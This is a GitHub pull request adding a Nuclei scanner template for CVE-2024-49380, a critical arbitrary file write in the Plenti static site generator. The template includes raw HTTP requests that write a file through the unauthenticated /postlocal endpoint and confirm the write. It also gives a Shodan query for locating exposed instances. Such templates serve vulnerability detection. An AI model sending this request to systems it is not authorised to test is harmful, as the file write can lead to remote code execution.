Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2024-49380.yaml #11210

Draft
wants to merge 2 commits into
base: main
Choose a base branch
from
Draft
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
45 changes: 45 additions & 0 deletions http/cves/2024/CVE-2024-49380.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
id: CVE-2024-49380

info:
name: Plenti < v0.7.2 - OS Command Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2024-297_GHSL-2024-298_plenti/
- https://nvd.nist.gov/vuln/detail/CVE-2024-49380
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-49380
cwe-id: CWE-78
epss-score: 0.00046
epss-percentile: 0.17681
metadata:
max-request: 2
verified: true
shodan-query: title:"Plenti"
tags: cve,cve2024,plenti,rce,injection

variables:
filename: "{{rand_base(6)}}"

http:
- raw:
- |
POST /postlocal HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

[{"Action": "create","Contents":"{{randstr}}","File": "static/{{filename}}.txt"}]

- |
GET /{{filename}}.txt?{{wait_for(5)}} HTTP/1.1
Host: {{Hostname}}

matchers:
- type: word
part: body_2
words:
- "{{randstr}}"
Loading